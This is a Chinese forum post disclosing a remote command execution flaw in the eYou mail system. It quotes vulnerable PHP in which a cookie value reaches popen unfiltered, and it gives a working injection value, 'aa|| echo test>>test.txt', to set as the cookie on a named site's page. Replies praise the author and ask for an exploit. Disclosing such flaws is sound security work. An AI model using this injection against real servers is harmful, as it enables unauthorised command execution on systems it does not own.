eYou邮件系统远程命令执行

C4r1st

#1 漏洞代码

/grad/admin/domain_logo.php

[AppleScript] 纯文本查看 复制代码

<?php
 
/**修改：王磊
 
  *修改时间：2007-04-09
 
  *修改内容：判断域LOGO的路径
 
  *
 
  */
 
$domain = $_COOKIE['cookie'];//接收cookie值，无任何过滤
 
$fp = popen("/var/eyou/sbin/hashid ".$domain,'r');//直接带进了危险函数popen 执行任意命令
 
$res = fread($fp,1024);
 
header('Content-type:image/rgb');
 
$path = "/var/eyou/Domain/".substr($res,-5,2).$domain."/LOGO/domain_logo";
 
$fp = file($path);
 
foreach($fp as $key => $val){
 
        print($val);
 
}
 
exit;
 
?>

[AppleScript] 纯文本查看 复制代码

$domain = $_COOKIE['cookie'];
 
//接收cookie值，无任何过滤
 
$fp = popen("/var/eyou/sbin/hashid ".$domain,'r');
 
//直接带进了危险函数popen 可远程执行任意命令

#2 漏洞利用

访问http://secmap.cn/grad/admin/domain_logo.php

修改cookie 值为：aa|| echo test>>test.txt 刷新 便可以在该目录下生成test.txt

Free_小东

大牛 前排出售基督菊花

justgo

看看、学习！！！

夜尽天明

{:soso_e146:}求exp大牛威武